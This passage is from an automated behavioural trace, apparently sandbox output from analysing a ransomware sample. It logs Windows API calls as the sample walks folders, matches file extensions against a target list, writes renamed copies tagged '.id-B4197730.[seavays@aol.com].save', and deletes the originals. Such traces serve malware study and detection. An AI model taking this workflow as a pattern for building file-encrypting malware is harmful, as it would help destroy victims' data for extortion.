Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0079.457] lstrlenW (lpString=".dbf") returned 4 [0079.457] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0079.457] lstrlenW (lpString=".1cd") returned 4 [0079.457] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0079.457] lstrlenW (lpString=".jpg") returned 4 [0079.458] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.459] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.459] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.460] GetLastError () returned 0x0 [0079.460] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xabad, lpOverlapped=0x0) returned 1 [0079.463] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xabb0, lpOverlapped=0x0) returned 1 [0079.465] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.465] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.465] SetEndOfFile (hFile=0x398) returned 1 [0079.465] CloseHandle (hObject=0x398) returned 1 [0079.465] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.465] SetEndOfFile (hFile=0x2f8) returned 1 [0079.467] CloseHandle (hObject=0x2f8) returned 1 [0079.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0079.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0079.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0079.468] lstrlenW (lpString=".doc") returned 4 [0079.468] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.468] lstrlenW (lpString=".docx") returned 5 [0079.468] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0079.468] lstrlenW (lpString=".pdf") returned 4 [0079.468] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.468] lstrlenW (lpString=".xls") returned 4 [0079.468] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.469] lstrlenW (lpString=".xlsx") returned 5 [0079.469] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0079.469] lstrlenW (lpString=".ppt") returned 4 [0079.469] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0079.469] lstrlenW (lpString=".zip") returned 4 [0079.469] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.469] lstrlenW (lpString=".rar") returned 4 [0079.469] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.469] lstrlenW (lpString=".bz2") returned 4 [0079.469] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.469] lstrlenW (lpString=".7z") returned 3 [0079.469] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0079.469] lstrlenW (lpString=".dbf") returned 4 [0079.469] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0079.469] lstrlenW (lpString=".1cd") returned 4 [0079.469] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0079.469] lstrlenW (lpString=".jpg") returned 4 [0079.469] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.470] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.470] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.471] GetLastError () returned 0x0 [0079.471] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x4ed3, lpOverlapped=0x0) returned 1 [0079.474] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0079.475] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.475] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.476] SetEndOfFile (hFile=0x398) returned 1 [0079.476] CloseHandle (hObject=0x398) returned 1 [0079.476] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.476] SetEndOfFile (hFile=0x2f8) returned 1 [0079.477] CloseHandle (hObject=0x2f8) returned 1 [0079.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0079.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0079.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0079.478] lstrlenW (lpString=".doc") returned 4 [0079.478] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.478] lstrlenW (lpString=".docx") returned 5 [0079.479] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0079.479] lstrlenW (lpString=".pdf") returned 4 [0079.479] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.479] lstrlenW (lpString=".xls") returned 4 [0079.479] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.479] lstrlenW (lpString=".xlsx") returned 5 [0079.479] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0079.479] lstrlenW (lpString=".ppt") returned 4 [0079.479] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0079.479] lstrlenW (lpString=".zip") returned 4 [0079.479] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.479] lstrlenW (lpString=".rar") returned 4 [0079.479] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.479] lstrlenW (lpString=".bz2") returned 4 [0079.479] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.479] lstrlenW (lpString=".7z") returned 3 [0079.479] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0079.479] lstrlenW (lpString=".dbf") returned 4 [0079.479] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0079.479] lstrlenW (lpString=".1cd") returned 4 [0079.479] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0079.479] lstrlenW (lpString=".jpg") returned 4 [0079.480] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.480] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.480] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.482] GetLastError () returned 0x0 [0079.482] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x27d0, lpOverlapped=0x0) returned 1 [0079.988] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x27e0, lpOverlapped=0x0) returned 1 [0079.989] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.989] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.989] SetEndOfFile (hFile=0x398) returned 1 [0079.990] CloseHandle (hObject=0x398) returned 1 [0079.990] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.990] SetEndOfFile (hFile=0x2f8) returned 1 [0079.991] CloseHandle (hObject=0x2f8) returned 1 [0079.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0080.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0080.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0080.386] lstrlenW (lpString=".doc") returned 4 [0080.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.387] lstrlenW (lpString=".docx") returned 5 [0080.387] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0080.387] lstrlenW (lpString=".pdf") returned 4 [0080.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.387] lstrlenW (lpString=".xls") returned 4 [0080.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.387] lstrlenW (lpString=".xlsx") returned 5 [0080.387] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0080.387] lstrlenW (lpString=".ppt") returned 4 [0080.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0080.387] lstrlenW (lpString=".zip") returned 4 [0080.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.387] lstrlenW (lpString=".rar") returned 4 [0080.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.387] lstrlenW (lpString=".bz2") returned 4 [0080.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.387] lstrlenW (lpString=".7z") returned 3 [0080.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0080.387] lstrlenW (lpString=".dbf") returned 4 [0080.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0080.387] lstrlenW (lpString=".1cd") returned 4 [0080.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0080.388] lstrlenW (lpString=".jpg") returned 4 [0080.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 Thread: id = 21 os_tid = 0x4f0 [0050.094] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4250048 [0050.094] lstrlenW (lpString="C:") returned 2 [0050.094] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x4260480 [0050.095] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0050.095] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0050.095] lstrlenW (lpString="$GetCurrent") returned 11 [0050.095] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0050.095] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4261058 [0050.095] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0050.095] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260440 [0050.097] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0050.097] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0050.097] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0050.097] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0050.097] lstrlenW (lpString="Logs") returned 4 [0050.097] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0050.097] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0050.097] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0050.097] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604c0 [0050.098] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.098] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0050.098] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0050.098] lstrlenW (lpString=".1cd") returned 4 [0050.098] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0050.098] lstrlenW (lpString=".3ds") returned 4 [0050.098] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0050.098] lstrlenW (lpString=".3fr") returned 4 [0050.098] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0050.098] lstrlenW (lpString=".3g2") returned 4 [0050.099] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0050.099] lstrlenW (lpString=".3gp") returned 4 [0050.099] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0050.099] lstrlenW (lpString=".7z") returned 3 [0050.099] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0050.099] lstrlenW (lpString=".accda") returned 6 [0050.099] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0050.099] lstrlenW (lpString=".accdb") returned 6 [0050.099] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0050.099] lstrlenW (lpString=".accdc") returned 6 [0050.099] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0050.099] lstrlenW (lpString=".accde") returned 6 [0050.099] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0050.099] lstrlenW (lpString=".accdt") returned 6 [0050.099] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0050.099] lstrlenW (lpString=".accdw") returned 6 [0050.099] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0050.099] lstrlenW (lpString=".adb") returned 4 [0050.099] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0050.099] lstrlenW (lpString=".adp") returned 4 [0050.099] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0050.099] lstrlenW (lpString=".ai") returned 3 [0050.099] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0050.099] lstrlenW (lpString=".ai3") returned 4 [0050.099] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0050.099] lstrlenW (lpString=".ai4") returned 4 [0050.099] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0050.099] lstrlenW (lpString=".ai5") returned 4 [0050.099] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0050.099] lstrlenW (lpString=".ai6") returned 4 [0050.099] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".ai7") returned 4 [0050.100] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".ai8") returned 4 [0050.100] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".anim") returned 5 [0050.100] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0050.100] lstrlenW (lpString=".arw") returned 4 [0050.100] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".as") returned 3 [0050.100] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0050.100] lstrlenW (lpString=".asa") returned 4 [0050.100] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".asc") returned 4 [0050.100] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".ascx") returned 5 [0050.100] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0050.100] lstrlenW (lpString=".asm") returned 4 [0050.100] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".asmx") returned 5 [0050.100] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0050.100] lstrlenW (lpString=".asp") returned 4 [0050.100] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".aspx") returned 5 [0050.100] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0050.100] lstrlenW (lpString=".asr") returned 4 [0050.100] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".asx") returned 4 [0050.100] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".avi") returned 4 [0050.100] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0050.100] lstrlenW (lpString=".avs") returned 4 [0050.101] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".backup") returned 7 [0050.101] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0050.101] lstrlenW (lpString=".bak") returned 4 [0050.101] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".bay") returned 4 [0050.101] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".bd") returned 3 [0050.101] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0050.101] lstrlenW (lpString=".bin") returned 4 [0050.101] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".bmp") returned 4 [0050.101] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".bz2") returned 4 [0050.101] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".c") returned 2 [0050.101] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0050.101] lstrlenW (lpString=".cdr") returned 4 [0050.101] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".cer") returned 4 [0050.101] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".cf") returned 3 [0050.101] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0050.101] lstrlenW (lpString=".cfc") returned 4 [0050.101] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".cfm") returned 4 [0050.101] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".cfml") returned 5 [0050.101] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0050.101] lstrlenW (lpString=".cfu") returned 4 [0050.101] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0050.101] lstrlenW (lpString=".chm") returned 4 [0050.101] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".cin") returned 4 [0050.102] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".class") returned 6 [0050.102] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0050.102] lstrlenW (lpString=".clx") returned 4 [0050.102] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".config") returned 7 [0050.102] lstrcmpiW 